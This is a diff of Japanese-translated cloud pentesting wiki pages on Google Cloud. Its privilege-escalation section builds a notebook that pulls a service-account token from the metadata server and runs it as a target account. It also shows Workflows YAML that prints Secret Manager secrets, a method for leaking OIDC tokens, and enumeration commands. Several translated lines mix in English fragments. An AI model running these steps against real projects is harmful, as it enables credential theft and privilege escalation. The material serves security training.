> Vertex AI Workbench Executor は、指定したサービスアカウントで Vertex AI のカスタムトレーニングインフラ上で実行されるノートブック実行のスケジューリングを可能にします。これは本質的に `customJobs.create` の便宜的なラッパーです。
|
||||
> **ノートブック経由の権限昇格の場合**: 上で文書化した `aiplatform.customJobs.create` メソッドを使用してください。これはより高速で信頼性が高く、Workbench Executor と同じ基盤インフラを使用します。
|
||||
|
||||
**以下の手法は歴史的文脈のために提供されており、新しい評価での使用は推奨されません。**
|
||||
|
||||
任意のコードを実行する Jupyter ノートブックを実行するノートブック実行ジョブを作成します。
|
||||
|
||||
ノートブックジョブは、Python のコードセルやシェルコマンドをサポートするため、サービスアカウントでのインタラクティブなコード実行に最適です。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>悪意のあるノートブックファイルを作成する</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"source": [
|
||||
"import subprocess\n",
|
||||
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
|
||||
"print(token.decode())"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {},
|
||||
"nbformat": 4
|
||||
}
|
||||
EOF
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>ターゲットのサービスアカウントでノートブックを実行する</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
REGION="us-central1"
|
||||
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
|
||||
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
|
||||
-d '{
|
||||
"displayName": "data-analysis-job",
|
||||
"gcsNotebookSource": {
|
||||
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
|
||||
},
|
||||
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
|
||||
"serviceAccount": "'${TARGET_SA}'",
|
||||
"executionTimeout": "3600s"
|
||||
}'
|
||||
|
||||
# Monitor job for token in output
|
||||
# Notebooks execute with the specified service account's permissions
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## 参考資料
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -12,11 +12,13 @@
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
私の知る限り、Workflowに攻撃されたSAの資格情報を含むメタデータエンドポイントへのアクセスでシェルを取得することは不可能です。しかし、Workflow内で実行するアクションを追加することで、SAの権限を悪用することは可能です。
|
||||
私の知る限り、Workflow にアタッチされた SA の認証情報を含む metadata endpoint にアクセスできるシェルを取得することはできません。しかし、Workflow の内部で実行するアクションを追加することで、その SA の権限を悪用することは可能です。
|
||||
|
||||
コネクタのドキュメントを見つけることができます。例えば、これは[**Secretmanagerコネクタのページ**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**です。** サイドバーには他のいくつかのコネクタが見つかります。
|
||||
コネクタのドキュメントは見つけることができます。例えば、これは[**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**。** サイドバーでは他のいくつかのコネクタを見つけることができます。
|
||||
|
||||
ここに秘密を印刷するコネクタの例があります:
|
||||
以下はシークレットを出力するコネクタの例です:
|
||||
|
||||
<details><summary>シークレットにアクセスするための Workflow YAML 構成</summary>
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
@@ -31,16 +33,20 @@ result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
</details>
|
||||
|
||||
CLIからの更新:
|
||||
|
||||
<details><summary>CLIからWorkflowsをデプロイおよび実行</summary>
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
`ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`というエラーが表示された場合は、**1分待って再試行してください**。
|
||||
`ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` のようなエラーが発生した場合は、単に**少し待ってからもう一度試してください**。
|
||||
|
||||
ウェブアクセスがない場合でも、次の方法でWorkflowの実行をトリガーして確認することができます:
|
||||
ウェブアクセスがない場合は、Workflow の実行をトリガーして実行を確認することができます:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 前の実行の出力を確認して、機密情報を探すこともできます。
|
||||
|
||||
`PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` のようなエラーが発生しても、その権限がないため、ワークフローは生成されています。
|
||||
|
||||
### OIDCトークンの漏洩(およびOAuth?)
|
||||
|
||||
[**ドキュメントによると**](https://cloud.google.com/workflows/docs/authenticate-from-workflow)、ワークフローステップを使用して、OAuthまたはOIDCトークンを含むHTTPリクエストを送信することが可能です。しかし、[Cloud Scheduler](gcp-cloudscheduler-privesc.md)の場合と同様に、OAuthトークンを含むHTTPリクエストはホスト`.googleapis.com`に送信する必要があります。
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> したがって、**ユーザーが制御するHTTPエンドポイントを指定することでOIDCトークンが漏洩する可能性があります**が、**OAuth**トークンを漏洩させるには、その保護を**バイパスする必要があります**。ただし、OAuthトークンを使用して、**コネクタまたはHTTPリクエストを介してSAの代理で任意のGCP APIに連絡することは依然として可能です**。
|
||||
> 以前の実行の出力を確認して機密情報を探すこともできます。
|
||||
|
||||
Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.
|
||||
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) によると、workflow のステップで OAuth または OIDC トークンを含む HTTP リクエストを送信することが可能です。ただし、[Cloud Scheduler](gcp-cloudscheduler-privesc.md) の場合と同様に、OAuth トークンを含む HTTP リクエストはホスト `.googleapis.com` 宛である必要があります。
|
||||
|
||||
> [!CAUTION]
|
||||
> したがって、ユーザーが制御する HTTP エンドポイントを指定することで **possible to leak the OIDC token by indicating a HTTP endpoint** が可能ですが、**OAuth** トークンを leak するにはその保護を回避する **need a bypass** が必要です。とはいえ、connectors または OAuth トークン付きの HTTP リクエストを使用して、**contact any GCP api to perform actions on behalf the SA** ことは可能です。
|
||||
|
||||
#### Oauth
|
||||
|
||||
<details><summary>Workflow HTTP request with OAuth token</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
@@ -76,7 +86,9 @@ auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
#### OIDC
|
||||
</details>#### OIDC
|
||||
|
||||
<details><summary>Workflow の HTTP リクエスト(OIDC トークン付き)</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
@@ -90,8 +102,8 @@ auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
### `workflows.workflows.update` ...
|
||||
</details>### `workflows.workflows.update` ...
|
||||
|
||||
この権限を使用すると、`workflows.workflows.create`の代わりに、既存のワークフローを更新し、同じ攻撃を実行することができます。
|
||||
この権限があると、`workflows.workflows.create` の代わりに既存の workflow を更新して、同様の攻撃を行うことが可能になります。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - Vertex AI 列挙
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) は Google Cloud の **統合された機械学習プラットフォーム**で、AIモデルの構築、デプロイ、管理を大規模に行うためのサービスです。データサイエンティストやMLエンジニアが以下を行えるようにします:
|
||||
|
||||
- **カスタムモデルの学習**(AutoML またはカスタムトレーニングを使用)
|
||||
- **モデルのデプロイ**して予測のためのスケーラブルなエンドポイントを提供
|
||||
- **実験から本番までのMLライフサイクルの管理**
|
||||
- **Model Garden からの事前学習済みモデルへのアクセス**
|
||||
- **モデルの監視と最適化**
|
||||
|
||||
### 主要コンポーネント
|
||||
|
||||
#### モデル
|
||||
|
||||
Vertex AI の **モデル** は、予測提供のためにエンドポイントへデプロイできる学習済み機械学習モデルを表します。モデルは以下の方法で扱えます:
|
||||
|
||||
- カスタムコンテナやモデルアーティファクトから **アップロード**
|
||||
- **AutoML** による作成
|
||||
- **Model Garden**(事前学習済みモデル)からのインポート
|
||||
- モデルごとに複数の **バージョン管理**
|
||||
|
||||
各モデルには、フレームワーク、コンテナイメージURI、アーティファクトの場所、サービング構成などのメタデータがあります。
|
||||
|
||||
#### エンドポイント
|
||||
|
||||
**Endpoints** はデプロイされたモデルをホスティングし、オンライン予測を提供するリソースです。主な機能:
|
||||
|
||||
- **複数のデプロイ済みモデル**をホスト可能(トラフィックスプリッティング対応)
|
||||
- リアルタイム予測のための **HTTPS エンドポイント** を提供
|
||||
- トラフィックに応じた **オートスケーリング** をサポート
|
||||
- **プライベート**または**パブリック**アクセスの利用可
|
||||
- トラフィックスプリッティングによる **A/B テスト** をサポート
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
**Custom jobs** は独自のコンテナやPythonパッケージを使ってカスタムトレーニングコードを実行するための機能です。主な特徴:
|
||||
|
||||
- **複数のワーカープールによる分散トレーニング**をサポート
|
||||
- 設定可能な **machine types** や **accelerators**(GPU/TPU)
|
||||
- 他のGCPリソースにアクセスするための **service account** 添付
|
||||
- 可視化のための **Vertex AI Tensorboard** との統合
|
||||
- **VPC 接続** オプション
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
これらのジョブは、異なるパラメータ組み合わせで複数のトレーニング試行を実行して、最適なハイパーパラメータを自動で探索します。
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden** は以下へのアクセスを提供します:
|
||||
|
||||
- Google の事前学習済みモデル
|
||||
- オープンソースモデル(Hugging Face を含む)
|
||||
- サードパーティ製モデル
|
||||
- ワンクリックデプロイ機能
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
**Tensorboards** はML実験の可視化と監視を提供し、メトリクス、モデルグラフ、トレーニング進捗を追跡します。
|
||||
|
||||
### サービスアカウントと権限
|
||||
|
||||
デフォルトでは、Vertex AI サービスは **Compute Engine default service account**(`PROJECT_NUMBER-compute@developer.gserviceaccount.com`)を使用し、プロジェクトに対して **Editor** 権限を持ちます。ただし、次のような場合にカスタムサービスアカウントを指定できます:
|
||||
|
||||
- Custom jobs 作成時
|
||||
- モデルのアップロード時
|
||||
- モデルをエンドポイントにデプロイする際
|
||||
|
||||
このサービスアカウントは以下のために使用されます:
|
||||
- Cloud Storage 内のトレーニングデータへのアクセス
|
||||
- Cloud Logging へのログ書き込み
|
||||
- Secret Manager からのシークレットアクセス
|
||||
- 他の GCP サービスとの連携
|
||||
|
||||
### データの保存
|
||||
|
||||
- **モデルアーティファクト** は **Cloud Storage** バケットに保存されます
|
||||
- **トレーニングデータ** は通常 Cloud Storage や BigQuery に保存されます
|
||||
- **コンテナイメージ** は **Artifact Registry** または Container Registry に保存されます
|
||||
- **ログ** は **Cloud Logging** に送られます
|
||||
- **メトリクス** は **Cloud Monitoring** に送られます
|
||||
|
||||
### 暗号化
|
||||
|
||||
デフォルトでは、Vertex AI は **Google-managed encryption keys** を使用します。以下の構成も可能です:
|
||||
|
||||
- Cloud KMS による **Customer-managed encryption keys (CMEK)**
|
||||
- 暗号化はモデルアーティファクト、トレーニングデータ、エンドポイントに適用されます
|
||||
|
||||
### ネットワーキング
|
||||
|
||||
Vertex AI リソースは以下のように設定できます:
|
||||
|
||||
- **パブリックインターネットアクセス**(デフォルト)
|
||||
- **VPC peering** によるプライベートアクセス
|
||||
- **Private Service Connect** によるセキュアな接続
|
||||
- **Shared VPC** サポート
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# List models
|
||||
gcloud ai models list --region=<region>
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# List endpoints
|
||||
gcloud ai endpoints list --region=<region>
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# List custom jobs
|
||||
gcloud ai custom-jobs list --region=<region>
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Stream logs from a running job
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
# List hyperparameter tuning jobs
|
||||
gcloud ai hp-tuning-jobs list --region=<region>
|
||||
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List model monitoring jobs
|
||||
gcloud ai model-monitoring-jobs list --region=<region>
|
||||
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List Tensorboards
|
||||
gcloud ai tensorboards list --region=<region>
|
||||
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
|
||||
|
||||
# List indexes (for vector search)
|
||||
gcloud ai indexes list --region=<region>
|
||||
gcloud ai indexes describe <index-id> --region=<region>
|
||||
|
||||
# List index endpoints
|
||||
gcloud ai index-endpoints list --region=<region>
|
||||
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
|
||||
|
||||
# Get operations (long-running operations status)
|
||||
gcloud ai operations describe <operation-id> --region=<region>
|
||||
|
||||
# Test endpoint predictions (if you have access)
|
||||
gcloud ai endpoints predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
|
||||
# Make direct predictions (newer API)
|
||||
gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### モデル情報収集
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
|
||||
# Check specific model version
|
||||
gcloud ai models describe <model-id>@<version> --region=<region>
|
||||
|
||||
# List all versions of a model
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# Get model artifact location (usually a GCS bucket)
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
|
||||
|
||||
# Get container image URI
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
|
||||
```
|
||||
### エンドポイントの詳細
|
||||
```bash
|
||||
# Get endpoint details including deployed models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
|
||||
# Get endpoint URL
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
|
||||
|
||||
# Get service account used by endpoint
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
|
||||
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
### カスタムジョブ情報
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Get service account used by job
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
|
||||
|
||||
# Get container image used
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
|
||||
|
||||
# Check environment variables (may contain secrets)
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
|
||||
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### アクセス制御
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Check service account permissions
|
||||
gcloud iam service-accounts get-iam-policy <service-account-email>
|
||||
|
||||
# Check if endpoints allow unauthenticated access
|
||||
# This is controlled by IAM bindings on the endpoint
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### ストレージとアーティファクト
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
gsutil ls
|
||||
|
||||
# Common artifact locations:
|
||||
# gs://<project>-aiplatform-<region>/
|
||||
# gs://<project>-vertex-ai/
|
||||
# gs://<custom-bucket>/vertex-ai/
|
||||
|
||||
# Download model artifacts if accessible
|
||||
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
|
||||
|
||||
# Check for notebooks in AI Platform Notebooks
|
||||
gcloud notebooks instances list --location=<location>
|
||||
gcloud notebooks instances describe <instance-name> --location=<location>
|
||||
```
|
||||
### モデルガーデン
|
||||
```bash
|
||||
# List Model Garden endpoints
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
次のページで、**abuse Vertex AI permissions to escalate privileges** の方法を確認できます:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user